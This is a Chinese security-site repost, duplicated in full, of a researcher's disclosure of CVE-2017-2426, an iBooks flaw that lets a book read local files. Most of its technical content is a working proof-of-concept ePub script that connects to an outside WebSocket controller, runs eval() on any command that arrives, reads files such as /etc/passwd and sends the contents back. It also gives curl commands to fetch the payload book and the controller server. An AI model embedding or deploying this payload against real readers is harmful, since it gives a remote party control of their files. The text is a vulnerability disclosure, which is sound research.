欢迎来到 无奈人生 安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

CVE-2017-2426:苹果iBook正在利用JavaScript“读”你

来源: 作者: 时间:2019-02-24 19:29 点击: 我要投稿
广告位API接口通信错误,查看德得广告获取帮助

“是的,书很危险。它们应该是危险的——因为它们蕴含思想。”——彼得•豪特曼
在前一篇关于ePub解析器的文章(即,这本书正在读你——利用支持ePub书籍格式的服务和阅读软件)中,我提到了使用ePub的脚本功能对用户执行本地攻击的话题。
苹果刚刚公布了一个安全漏洞,即我去年在iBooks上报告的一个问题:允许在打开书籍时访问用户系统上的文件。 El Capitan的iBooks将使用file://origin打开一个ePub,这将允许攻击者在打开一本书时访问用户的文件系统。 (CVE-2017-2426)
为了帮助演示如何使用这种方式对用户进行攻击,我将WebSocket客户端添加到了一本书中,以便打开该书的所有用户都将连接到一个WebSocket控制器服务器,该服务器可以为他们发送任意指令。 只要用户将书打开,ePub中的WebSocket客户端就处于允许访问的状态(如果向用户提供了值得阅读的内容的话,那么电子书就很可能会长时间处于打开状态)。
例如,向用户发送一本图书:

打开书籍时,iBooks将连接到WebSocket控制器:

连接到WebSockets控制器的iBooks。如果阅读器含有CVE-2017-2426(file://origin)漏洞的话,则攻击者就可以获取本地文件了:

演示视频
POC
您可以使用这里的POC书亲自试验一下。 您可以在Apple iBooks或Adobe Digital Editions等阅读器中打开它。

免责声明:虽然POC将连接到我的控制器,但我保证不会干任何坏事。
您也可以修改它,使其指向自己的控制器: 
    curl https://s1gnalcha0s.github.io/assets/controller/POC.epub -o poc.epub
    unzip poc.epub; rm poc.epub
poc.epub/epub/main.js的内容
WebSocketController = 'ws://websocket-controller.herokuapp.com:80';
var socket = new WebSocket(WebSocketController, 'echo-protocol');
socket.onopen = function(evt) { onopen() };
socket.onmessage = function(msg) { onmessage(msg) };
socket.onclose = function(evt) { onerror() }
function onopen()
{
  message('Connected to WebSocket Controller: ' + WebSocketController);
}
function onerror()
{
  message('Unable to connect to WebSocket Controller: ' + WebSocketController);
}
function onmessage(msg)
{
  //just eval anything sent from the controller
  response = eval(msg.data);
  //send response back to controller
  socket.send(response);
}
function get(loc) {
  var xmlhttp = new XMLHttpRequest();
  xmlhttp.open('GET', 'file://' + loc,false);
  xmlhttp.send();
  //populate the message element
  message(xmlhttp.responseText);
  return xmlhttp.responseText;
}
function message(message) {
  document.getElementById("message").innerText = message;
  return message;
}
function showExfil() {
  get('/etc/passwd');
}
1
    zip -r poc.epub *
Node.js WebSocket控制器
    curl https://s1gnalcha0s.github.io/assets/controller/server.js -o server.js
    npm install websocket
    node server.js
本文到此就结束了,祝阅读愉快!
 

“是的,书很危险。它们应该是危险的——因为它们蕴含思想。”——彼得•豪特曼
在前一篇关于ePub解析器的文章(即,这本书正在读你——利用支持ePub书籍格式的服务和阅读软件)中,我提到了使用ePub的脚本功能对用户执行本地攻击的话题。
苹果刚刚公布了一个安全漏洞,即我去年在iBooks上报告的一个问题:允许在打开书籍时访问用户系统上的文件。 El Capitan的iBooks将使用file://origin打开一个ePub,这将允许攻击者在打开一本书时访问用户的文件系统。 (CVE-2017-2426)
为了帮助演示如何使用这种方式对用户进行攻击,我将WebSocket客户端添加到了一本书中,以便打开该书的所有用户都将连接到一个WebSocket控制器服务器,该服务器可以为他们发送任意指令。 只要用户将书打开,ePub中的WebSocket客户端就处于允许访问的状态(如果向用户提供了值得阅读的内容的话,那么电子书就很可能会长时间处于打开状态)。
例如,向用户发送一本图书:
无奈人生安全网
打开书籍时,iBooks将连接到WebSocket控制器:

连接到WebSockets控制器的iBooks。如果阅读器含有CVE-2017-2426(file://origin)漏洞的话,则攻击者就可以获取本地文件了:

演示视频
POC
您可以使用这里的POC书亲自试验一下。 您可以在Apple iBooks或Adobe Digital Editions等阅读器中打开它。

免责声明:虽然POC将连接到我的控制器,但我保证不会干任何坏事。
您也可以修改它,使其指向自己的控制器: 
    curl https://s1gnalcha0s.github.io/assets/controller/POC.epub -o poc.epub

内容来自无奈安全网


    unzip poc.epub; rm poc.epub
poc.epub/epub/main.js的内容
WebSocketController = 'ws://websocket-controller.herokuapp.com:80';
var socket = new WebSocket(WebSocketController, 'echo-protocol');
socket.onopen = function(evt) { onopen() };
socket.onmessage = function(msg) { onmessage(msg) };
socket.onclose = function(evt) { onerror() }
function onopen()
{
  message('Connected to WebSocket Controller: ' + WebSocketController);
}
function onerror()
{
  message('Unable to connect to WebSocket Controller: ' + WebSocketController);
}
function onmessage(msg)
{
  //just eval anything sent from the controller
  response = eval(msg.data);
  //send response back to controller
  socket.send(response);
}
function get(loc) {
  var xmlhttp = new XMLHttpRequest();
  xmlhttp.open('GET', 'file://' + loc,false);
  xmlhttp.send();
  //populate the message element

内容来自无奈安全网


  message(xmlhttp.responseText);
  return xmlhttp.responseText;
}
function message(message) {
  document.getElementById("message").innerText = message;
  return message;
}
function showExfil() {
  get('/etc/passwd');
}
1
    zip -r poc.epub *
Node.js WebSocket控制器
    curl https://s1gnalcha0s.github.io/assets/controller/server.js -o server.js
    npm install websocket
    node server.js
本文到此就结束了,祝阅读愉快!
  copyright 无奈人生

。 (责任编辑:admin)
【声明】:无奈人生安全网(http://www.wnhack.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱472701013@qq.com,我们会在最短的时间内进行处理。